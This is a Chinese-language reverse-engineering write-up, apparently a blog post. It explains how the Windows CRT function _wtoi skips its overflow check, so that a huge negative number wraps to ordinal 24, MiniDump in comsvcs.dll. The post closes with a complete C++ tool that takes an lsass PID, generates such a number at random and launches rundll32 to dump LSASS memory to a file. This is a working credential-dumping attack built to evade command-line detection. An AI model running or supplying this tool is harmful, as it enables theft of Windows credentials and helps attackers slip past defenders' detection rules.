if (!a2 || a4 && a4 - 2 > 0x22)
{
*errno() = 22; // EINVAL
invalid_parameter(0, 0, 0, 0, 0);
}
// v9 指向字符串第二个字符
v9 = a2 + 1;
// 开始转换前清除 errno
*errno() = 0;
// 取出第一个字符
v10 = *a2;
// 数值累加器初始化为 0
v11 = 0;
// 跳过字符串开头的空白字符
while (iswctype_l(v10, 8u, &Locale))
v10 = *v9++;
// 保存初始 flags
v12 = a5;
// 当前字符是 '-',说明输入是负数
if (v10 == 45)
{
// 45 = '-'
// 设置 v12 的 bit 1,作为“负数标志”
v12 = a5 | 2;
}
else if (v10 != 43) // 43 = '+'
{
// 既不是 '-' 也不是 '+',直接处理数字
goto LABEL_14;
}
// 如果存在 '+' / '-',跳过这个符号,
// v10 变成后面的第一个数字字符
v10 = *v9++;- 这一段的核心就是
初始化
↓
跳过空白
↓
检查 + / -
↓
如果是 '-' → v12 |= 2
↓
开始处理数字- 对于输入
-9999999999999999999999999999999976, 程序首先看到v10 == '-', 于是v12 |= 2;(等价于v12 = v12 | 2;,把v12的bit1设置为1,用这个bit 记录“这是负数”),此时v12 = 2, 然后v10 = *v9++;, 跳过-,开始处理9999999999999999999999999999999976, 但是数字本身并没有因为这个2发生任何变化, 它只是把“这是负数”这个信息保存下来
确定进制,并计算溢出判断上限
LABEL_14:
// 如果 a4 != 0,说明调用者已经指定了进制
// _wtoi() 传入的就是 10,因此直接跳到 LABEL_20
if (a4)
goto LABEL_20;
// 如果 a4 == 0,则需要根据字符串自动判断进制
if (!(unsigned int)wchartodigit(v10))
{
// 判断当前字符是不是 X/x
// 如果不是,则默认使用八进制
if (((*v9 - 88) & 0xFFDF) != 0)
{
a4 = 8;
goto LABEL_24;
}
// 是 X/x,则使用十六进制
a4 = 16;
LABEL_20:
// 如果是十六进制,并且当前字符后面存在 0x/0X 前缀,
// 则跳过这个前缀
if (a4 == 16 &&
!(unsigned int)wchartodigit(v10) &&
((*v9 - 88) & 0xFFDF) == 0)
{
v10 = v9[1];
v9 += 2;
}
goto LABEL_24;
}
// a4 == 0,并且当前字符可以作为数字,
// 默认按照十进制处理
a4 = 10;
LABEL_24:
// 计算溢出判断的安全上限
// UINT_MAX / base
// _wtoi 中:
// a4 = 10
// 所以:
// v13 = 0xFFFFFFFF / 10 = 429496729
v13 = 0xFFFFFFFF / a4;- 实际逻辑
_wtoi()
↓
a4 = 10
↓
if (a4)
↓
直接使用十进制
↓
v13 = 0xFFFFFFFF / 10
↓
429496729v13的含义:v11是unsigned int,最大值0xFFFFFFFF,如果v11 > 429496729,那么v11 * 10一定会超过0xFFFFFFFF(429496729 * 10 = 4294967290,接近上限),所以v1是安全累加上限,超过它就应该停下来检查。
字符转换和数字累加(溢出的核心)
while (1)
{
// 把当前 wchar_t 字符转换成数字
//
// 例如:
// '0' → 0
// '5' → 5
// '9' →
v14 = wchartodigit(v10);
// 如果不是合法数字字符,wchartodigit 返回 -1
// 如果已经成功转换成数字,
// 直接进入下面的进制检查
if (v14 != -1)
goto LABEL_31;
// 当前字符不是 0~9,
// 检查它是不是 A~Z 或 a~z
if ((unsigned __int16)(v10 - 65) > 0x19u &&
(unsigned __int16)(v10 - 97) > 0x19u)
{
// 既不是数字,也不是字母
// 说明数字字符串到这里结束
break;
}
// 大写字母转换为统一形式
v15 = v10 - 32;
// 如果本身已经是大写字母,
// 就不需要减 32
if ((unsigned __int16)(v10 - 97) > 0x19u)
v15 = v10;
// A~F → 10~15
//
// 'A' = 65
// 65 - 55 = 10
//
// 'F' = 70
// 70 - 55 = 15
v14 = v15 - 55;
LABEL_31:
// 检查当前数字是否符合当前进制
//
// 十进制:
// v14 必须 < 10
//
// 十六进制:
// v14 必须 < 16
if (v14 >= a4)
break;
// 设置 bit 3:
// 表示“至少成功解析到了一个有效数字”
v12 |= 8u;
// 核心判断:
//
// a6 != 0:
// 直接允许继续计算
//
// a6 == 0:
// 才执行正常的溢出检查
if (a6 ||
v11 < v13 ||
v11 == v13 && v14 <= 0xFFFFFFFF % a4)
{
// 核心计算:
//
// v11 = v11 * base + digit
//
// _wtoi:
// v11 = v11 * 10 + v14
v11 = v14 + a4 * v11;
}
else
{
// 正常情况下走到这里,
// 说明发生了整数溢出
v12 |= 4u;
// 没有 endptr 就直接停止解析
if (!a3)
break;
}
// 读取下一个字符
v10 = *v9++;
}- 正常情况下:
v11 = v11 * 10 + digit,例如
123
0
↓
0 * 10 + 1 = 1
↓
1 * 10 + 2 = 12
↓
12 * 10 + 3 = 123- 而
_wtoi()的特殊之处就在if (a6 || ...),因为a6 = 1, 所以a6 || ...永远为真,这就导致正常的溢出检查v11 < v13被绕过 - 单独把这段拿出来看
if (a6 ||
v11 < v13 ||
v11 == v13 && v14 <= 0xFFFFFFFF % a4)
{
v11 = v14 + a4 * v11;
}- 对于
a6 = 1,实际上等同于以下代码,条件恒为真
if (1 || ...)
{
v11 = v14 + a4 * v11;
}- 所以导致了
// 正常情况
v11 没超过范围
↓
继续计算
超过范围
↓
停止并设置溢出
// _wtoi()中
v11 没超过范围
↓
继续计算
超过范围
↓
仍然继续计算- 由于
v11是unsigned int(32位),当结果超过32位时,unsigned int只保留低32位 ,所以最终数学上等价于v11 = (v11 * 10 + digit) mod 2^32
在_wtoi中:a4 = 10,v14 = digit(当前正在处理的数字字符转换后的数值)
超长数字
↓
v11 = v11 * 10 + digit
↓
超过32位
↓
只保留低32位
↓
等价于 mod 2^32- 漏洞的本质:
_wtoi传入a6=1,使wcstoxlX在溢出时不停止,而是继续做模运算,最终v11=输入数字 mod 2^32
返回值处理
// 循环退出后的返回值处理
LABEL_53:
if (a3) *a3 = v16; // 设置 endptr
// 返回值计算
result = -v11; // 默认:取负(对应负数输入)
if ((v12 & 2) == 0) // 如果v12的bit没有设置,说明原始字符串不是负数
result = v11; // 如果不是负数,直接返回 v11(正数)
return result;- 逻辑
原始字符串是正数
↓
return v11
原始字符串是负数
↓
return -v11- 例如
-9999999999999999999999999999999976,前面已经得到v11 = 0xFFFFFFE8, 同时v12 & 2 != 0,说明是负数,所以result = -v11,也就是0 - 0xFFFFFFE8 = 0x00000018 = 24 - 最终
_wtoi(L"-9999999999999999999999999999999976")
↓
wcstoxlX(...)
↓
v11 = 0xFFFFFFE8
↓
-v11
↓
24四、代码实现
- 前面通过逆向分析可以得出结论,
v11是unsigned int(32位),当结果超过32位时,unsigned int只保留低32位,所以最终数学上等价于v11 = (v11 * 10 + digit) mod 2^32 - 那么意味着,我们的输出不必局限于
-9999999999999999999999999999999976,只需要构造出不同的负数,使其数字部分对2^32取模后得到0xFFFFFFE8,经过最后的负号处理后,最终都可以得到返回值24
#include <windows.h>
#include <stdio.h>
#include <string>
#include <vector>
#include <cstdint>
#include <cstring>
#include <cstdlib>
#include <random>
static int32_t wtoi_overflow(const char* s, int bits = 32) {
while (*s == ' ' || *s == '\t') s++;
if (*s == '\0') return 0;
int sign = 1;
if (*s == '-') { sign = -1; s++; }
else if (*s == '+') { s++; }
uint64_t mask = ((uint64_t)1 << bits) - 1;
int64_t half = (int64_t)1 << (bits - 1);
uint64_t result = 0;
for (; *s; s++) {
if (*s >= '0' && *s <= '9') {
result = (result * 10 + (*s - '0')) & mask;
}
else {
break;
}
}
if (sign == -1) {
result = (uint64_t)(-(int64_t)result) & mask;
}
int32_t final_val;
if (result >= (uint64_t)half) {
final_val = (int32_t)((int64_t)result - ((int64_t)1 << bits));
}
else {
final_val = (int32_t)result;
}
return final_val;
}
struct BigInt {
std::vector<int> digits;
bool negative;
BigInt() : negative(false) {}
BigInt(const std::string& s) {
negative = false;
int start = 0;
if (!s.empty() && s[0] == '-') { negative = true; start = 1; }
else if (!s.empty() && s[0] == '+') { start = 1; }
for (int i = (int)s.size() - 1; i >= start; i--) {
digits.push_back(s[i] - '0');
}
trim();
}
BigInt(int64_t val) {
negative = (val < 0);
if (negative) val = -val;
if (val == 0) { digits.push_back(0); return; }
while (val > 0) { digits.push_back((int)(val % 10)); val /= 10; }
}
void trim() {
while (digits.size() > 1 && digits.back() == 0) digits.pop_back();
if (digits.size() == 1 && digits[0] == 0) negative = false;
}
bool isZero() const { return digits.size() == 1 && digits[0] == 0; }
int absCompare(const BigInt& other) const {
if (digits.size() != other.digits.size())
return digits.size() < other.digits.size() ? -1 : 1;
for (int i = (int)digits.size() - 1; i >= 0; i--) {
if (digits[i] != other.digits[i])
return digits[i] < other.digits[i] ? -1 : 1;
}
return 0;
}
BigInt absAdd(const BigInt& other) const {
BigInt res;
res.digits.clear();
int carry = 0;
int maxLen = (int)(digits.size() > other.digits.size() ? digits.size() : other.digits.size());
for (int i = 0; i < maxLen || carry; i++) {
int sum = carry;
if (i < (int)digits.size()) sum += digits[i];
if (i < (int)other.digits.size()) sum += other.digits[i];
res.digits.push_back(sum % 10);
carry = sum / 10;
}
return res;
}
BigInt absSub(const BigInt& other) const {
BigInt res;
res.digits.clear();
int borrow = 0;
for (int i = 0; i < (int)digits.size(); i++) {
int diff = digits[i] - borrow;
if (i < (int)other.digits.size()) diff -= other.digits[i];
if (diff < 0) { diff += 10; borrow = 1; }
else { borrow = 0; }
res.digits.push_back(diff);
}
res.trim();
return res;
}
BigInt operator+(const BigInt& other) const {
if (negative == other.negative) {
BigInt res = absAdd(other);
res.negative = negative;
res.trim();
return res;
}
int cmp = absCompare(other);
if (cmp == 0) return BigInt((int64_t)0);
if (cmp > 0) {
BigInt res = absSub(other);
res.negative = negative;
res.trim();
return res;
}
BigInt res = other.absSub(*this);
res.negative = other.negative;
res.trim();
return res;
}
BigInt operator*(const BigInt& other) const {
BigInt res;
res.digits.assign(digits.size() + other.digits.size(), 0);
for (int i = 0; i < (int)digits.size(); i++) {
int carry = 0;
for (int j = 0; j < (int)other.digits.size() || carry; j++) {
int64_t cur = (int64_t)res.digits[i + j] + carry;
if (j < (int)other.digits.size()) cur += (int64_t)digits[i] * other.digits[j];
res.digits[i + j] = (int)(cur % 10);
carry = (int)(cur / 10);
}
}
res.negative = (negative != other.negative);
res.trim();
return res;
}
std::string toString() const {
std::string s;
if (negative && !isZero()) s += '-';
for (int i = (int)digits.size() - 1; i >= 0; i--)
s += (char)('0' + digits[i]);
return s;
}
int digitCount() const { return (int)digits.size(); }
};
static std::string generate_overflow_number(int32_t target, int bits = 32, int min_digits = 20) {
uint64_t mod = (uint64_t)1 << bits;
uint32_t remainder = (uint32_t)(-(int64_t)target) & 0xFFFFFFFF;
std::random_device rd;
std::mt19937_64 gen(rd());
BigInt modVal((int64_t)mod);
BigInt remainderBI((int64_t)remainder);
int64_t k_min = 3000000000LL;
int64_t k_max = 9000000000LL;
std::uniform_int_distribution<int64_t> dist(k_min, k_max);
int64_t k = dist(gen);
BigInt kVal(k);
BigInt val = kVal * modVal + remainderBI;
val.negative = true;
std::string result = val.toString();
return result;
}
int main(int argc, char* argv[]) {
DWORD lsassPID = 0;
std::string outputFile = "dump.bin";
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "-p") == 0 && i + 1 < argc) {
lsassPID = (DWORD)atoi(argv[++i]);
}
else if (strcmp(argv[i], "-o") == 0 && i + 1 < argc) {
outputFile = argv[++i];
}
}
if (lsassPID == 0) {
printf("Usage: %s -p <lsass_pid> [-o output_file]\n", argv[0]);
printf(" -p lsass PID\n");
printf(" -o output file (default: dump.bin)\n");
return 1;
}
int32_t target_ordinal = 24;
std::string overflow_num = generate_overflow_number(target_ordinal, 32, 20);
char comsvcs_path[MAX_PATH];
GetSystemDirectoryA(comsvcs_path, MAX_PATH);
strcat_s(comsvcs_path, "\\comsvcs.dll");
printf("[*] target ordinal: %d\n", target_ordinal);
printf("[*] overflow number: %s\n", overflow_num.c_str());
printf("[*] verify wtoi_overflow (expect %d): %d\n", target_ordinal, wtoi_overflow(overflow_num.c_str(), 32));
printf("[*] lsass PID: %lu\n", (unsigned long)lsassPID);
printf("[*] output: %s\n", outputFile.c_str());
char full_cmdline[4096];
snprintf(full_cmdline, sizeof(full_cmdline), "rundll32.exe %s,#%s %lu %s full",
comsvcs_path, overflow_num.c_str(), (unsigned long)lsassPID, outputFile.c_str());
printf("[*] cmdline: %s\n", full_cmdline);
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
BOOL ret = CreateProcessA(
NULL,
full_cmdline,
NULL, NULL, FALSE,
0, NULL, NULL,
&si, &pi
);
if (!ret) {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
return 1;
}
printf("[+] rundll32 started, PID: %lu\n", pi.dwProcessId);
WaitForSingleObject(pi.hProcess, INFINITE);
DWORD exitCode = 0;
GetExitCodeProcess(pi.hProcess, &exitCode);
printf("[+] rundll32 exited with code: %lu\n", exitCode);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
DWORD attrs = GetFileAttributesA(outputFile.c_str());
if (attrs != INVALID_FILE_ATTRIBUTES) {
printf("[+] dump file created: %s\n", outputFile.c_str());
}
else {
printf("[-] dump file not found, may have failed\n");
}
return 0;
}